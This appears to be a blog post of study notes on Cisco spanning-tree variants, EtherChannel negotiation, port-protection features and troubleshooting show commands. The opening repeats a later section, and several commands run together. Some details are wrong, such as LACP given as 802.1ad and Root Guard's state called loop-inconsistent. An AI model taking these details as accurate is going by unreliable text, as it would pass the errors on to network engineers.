- Inclusion Cisco features: PortFast, UplinkFast and BackboneFast (RLQ).
- Backup Designated Port feature
Link types:
- Point-to-point: connects a switch to one other switch:
- Shared: connects a switch to a hub.
- Edge:
Port states:
- Discarding
- Learning
- Forwarding
Port roles:
- Root Port
- Designated Port
- Alternate Port: Backup Root Port (UplinkFast)
- Backup Port: Backup Designated Port
RPVST+ and MST uses 802.1w.
Rapid Per-VLAN Spanning Tree Plus (RPVST+)
RPVST+ is compatible with MSTP and PVST+.
Multiple Spanning Trees: 802.1s
Two switches belong to the same MST region if they use the same region name, the same revision number and the same configured instances.
When connecting an MST region to a non-MST region or to a different MST region, MST makes the MST region appear to be a single switch. This STP instance is called the Internat Spanning Tree (IST).
Root Guard and BPDU Guard: Protecting Access Ports
- BPDU Guard: does not recover from err-disabled state.
- Root Guard: recovers from loop-inconsistent state when the superior BPDUs are no longer received.
UDLD and Loop Guard: Protecting Trunks
- UDLD normal mode: puts the port into unknown state.
- UDLD aggressive mode: puts the port into error-disabled state and ceases sending traffic.
- Loop Guard: when normal BPDUs are no longer received, the port does not go through normal STP convergence, but rather falls into loop-inconsistent state.
Troubleshooting Using Basic Interface Statistics
Troubleshooting Spanning Tree Protocol
Troubleshooting Trunking
Troubleshooting VTP
Troubleshooting EtherChannels
1. Elect the root switch: lowest bridge ID wins.
2. Determine each switch's Root Port: the one port on each switch with the least cost path back to the root.
3. Determine the Designated Port for each segment: the port of the switch that forwards the least cost Hello onto a segment.
Electing a Root Switch
Each switch begins sending STP Hello BPDU.
When a switch hears a superior Hello, it stops claiming to be root and starts forwarding the superior Hellos.
The original 802.1d bridge ID has two fields:
- Priority (2B)
- System ID == MAC Address (6B)
The original 802.1d has been redefined:
- Priority, multiple of 4096 (4b)
- System ID Extension == VLAN ID (12b)
- System ID == MAC Address (6B)
Determining the Root Port
The root send a Hello every Hello timer (2 seconds by default).
Each switch that receives a Hello forwards it after updating:
- Cost (received cost + port cost of the port on which the hello was received)
- Bridge ID (forwarder's BID)
- Port priority (forwarder's port priority)
- Port number (forwarder's port number)
Port costs:
Original IEEE Cost Revised IEEE Cost 10 Mbps 100 100 100 Mbps 10 19 1 Gbps 1 4 10 Gbps 1 2
Tiebreakers to elect the Root Port:
- Use the port with the least cost to the root.
- If the cost is equal, use the port with the lowest BID.
- If the BID is the same, use the port with the lowest priority.
- If the priority is equal, use the port with the lowest port number.
Switch(config)#no spanning-tree vlan 10Switch(config-if)#spanning-tree vlan 11 cost 10Switch(config-if)#spanning-tree vlan 12 port-priority 120
Determining the Designated Port
The switch that forwards Hellos onto a LAN segment is called the designated switch and the port onto that segment is called the Designated Port (DP).
The DP sends the lowest advertised cost.
The tiebreakers are the same.
Converging to a New STP Topology
If a switch does not receive Hellos over a RP during max age timer (by default 20 seconds), it begins a new root election by claiming to be the root and flooding Hellos out every port.
If it does not receive Hellos over a Blocking port during max age timer, it changes to listening state on that port.
Topology Change Notification and Updating the CAM
- A switch experiencing a port state change send a TCN (Topology Change Notification) BPDU out its Root Port. It repeats this message every Hello time until it is acknowledged.
- A designated switch receiving that TCN BPDU sends back a normal Hello BPDU marking the TCA (Topology Change Acknowledgment) bit.
- The process is repeated until the root receives a TCN BPDU. One received, the root set the TC (Topology Change) bit on the next Hellos. A switch receiving a Hello BPDU with TC bit set times out entries in the CAM.
Transitioning from Blocking to Forwarding
The switch waits forward delay timer (by default 15 seconds) before changing from Listening/Learning port states.
802.1d port states:
Forwards data frames? Learns source MACs? Stable? Blocking No No Stable Listening No No Transitory Learning No Yes Transitory Forwarding Yes Yes Stable Disabled No No Stable
Per-VLAN Spanning Tree and STP over Trunks
802.1Q does not support PVST+ natively, however, Cisco switches do.
Non-Cisco switches using 802.1Q run only one STP instance (Common Spanning Tree) over VLAN 1 for all VLANs.
Two PVST+ regions, separated by a single CST region, share PVST+ information sending BPDUs using a multicast destination MAC (01:00:0c:cc:cc:cd) and being VLAN tagged.
Non-Cisco switches do not interpret these BPDUs but Cisco switches do.
Non-Cisco switches using 802.1Q support multiple STP instances with 802.1s (MST).
Switch(config)# spanning-tree mode pvstSTP Configuration and Analysis
Default STP priority is 32768.
Switch(config)# spanning-tree vlan 1 root {primary | secondary } [diameter]primary sets the priority to 24576 if the current root has a priority larger than 24576 else sets 4096 less than the current root priority.secondary sets the priority to 28672.diameter calculates new STP timers based on the max number of switches/hops (by default 7 switches) between two end stations.Optimizing Spanning Tree
Convergence might take between 30 and 50 seconds.
PortFast, UplinkFast, and BackboneFast
These Cisco-propietary features solve specific STP problems.
- PortFast: Used on access ports. Immediately puts the port into forwarding state.
- UplinkFast: Used on access switches. Immediately replaces a lost Root Port with an alternate Root Port.
- BackboneFast: Used to detect indirect link failures. Avoids waiting for Maxage when a Root Port ceases to receive Hellos.
PortFast
To be safe, also enable the BPDU Guard and Root Guard features.
UplinkFast
The command takes three actions:
- Increases the root priority to 49152.
- Sets the port cost to 3000.
- Tracks alternate Root Ports.
When the Root Port fails, the switch fails over to an alternate Root Port and forwards immediately.
Also, the switch sends fake frames (station MAC entries as source and 01:00:0c:cd:cd:cd as multicast destination) to update the other switches CAM table (does not use the TCN process).
BackboneFast
When the first Hello goes missing, a BackboneFast switch sends a Root Link Query BPDU asking the neighboring switch about a direct link failure. Once known, converges without waiting Maxage timer. All switches must have BackboneFast configured.
PortFast, UplinkFast, and BackboneFast Configuration
Switch(config-if)#spanning-tree portfastSwitch(config)#spanning-tree portfast defaultSwitch(config)#spanning-tree uplinkfast [max-update-rate rate]Switch(config)#spanning-tree backbonefast
Load Balancing Across PortChannels
Load balancing is based on the contents of layer 2, 3 and/or 4 headers.
The goal is to use a blancing method for which the fields in the frame vary.
Switch(config)# port-channel load-balance {src-mac | dst-mac | src-dst-mac \
| src-ip | dst-ip | src-dst-ip \
| src-port | dst-port | src-dst-port | mpls}PortChannel Discovery and Configuration
The dynamic protocols are Port Aggregation Protocol (PAgP) and Link Aggregation Control Protocol (LACP ~ 802.1ad).
Switch(config-if)# channel-protocol {lacp | pagp}PAgP LACP Action on on Disables PAgP and LACP. Forces the port into the PortChannel. off off Disables PAgP and LACP. Prevents the port from being part of a PortChannel. auto passive Uses PAgP or LACP. Waits on the other side messages. desirable active Uses PAgP or LACP. Initiates the negotiation.
Several items must be identical on the links to be added to the PortChannel:
- Same speed and duplex
- If not trunking, same access VLAN
- If trunking, same trunk type, allowed VLANs and native VLAN
- The same STP cost per VLAN
- No SPAN configured
Rapid Spanning Tree Protocol
IEEE 802.1w improves STP convergence and is backward compatible with 802.1d.
The key components are:
- Waiting only 3 misses Hellos on a RP before reacting (versus 10 missed with 802.1d).
- Bypassing the 802.1d listening state (discarding -> learning).
- Inclusion Cisco features: PortFast, UplinkFast and BackboneFast (RLQ).
- Backup Designated Port feature
Link types:
- Point-to-point: connects a switch to one other switch:
spanning-tree link-type point-to-point- Shared: connects a switch to a hub.
- Edge:
spanning-tree portfastPort states:
- Discarding
- Learning
- Forwarding
Port roles:
- Root Port
- Designated Port
- Alternate Port: Backup Root Port (UplinkFast)
- Backup Port: Backup Designated Port
RPVST+ and MST uses 802.1w.
Switch(config)# spanning-tree mode rapid-pvstRapid Per-VLAN Spanning Tree Plus (RPVST+)
RPVST+ is compatible with MSTP and PVST+.
Multiple Spanning Trees: 802.1s
Two switches belong to the same MST region if they use the same region name, the same revision number and the same configured instances.
When connecting an MST region to a non-MST region or to a different MST region, MST makes the MST region appear to be a single switch. This STP instance is called the Internat Spanning Tree (IST).
Switch(config)# spanning-tree mode mstRoot Guard and BPDU Guard: Protecting Access Ports
- BPDU Guard: does not recover from err-disabled state.
- Root Guard: recovers from loop-inconsistent state when the superior BPDUs are no longer received.
UDLD and Loop Guard: Protecting Trunks
- UDLD normal mode: puts the port into unknown state.
- UDLD aggressive mode: puts the port into error-disabled state and ceases sending traffic.
- Loop Guard: when normal BPDUs are no longer received, the port does not go through normal STP convergence, but rather falls into loop-inconsistent state.
Troubleshooting Using Basic Interface Statistics
Switch#show interfaceSwitch#show controllers
Troubleshooting Spanning Tree Protocol
Switch#show spanning-tree rootSwitch#show interfaces status err-disabledSwitch#show spanning-tree inconsistentports
Troubleshooting Trunking
Switch#show interfaces switchportSwitch#show spanning-tree inconsistentportsSwitch#show interfaces trunk
Troubleshooting VTP
Switch# show vtp statusTroubleshooting EtherChannels
Switch#show etherchannel summarySwitch#show interface etherchannelSwitch#show interface port-channel 1
Subscribe to:
Posts (Atom)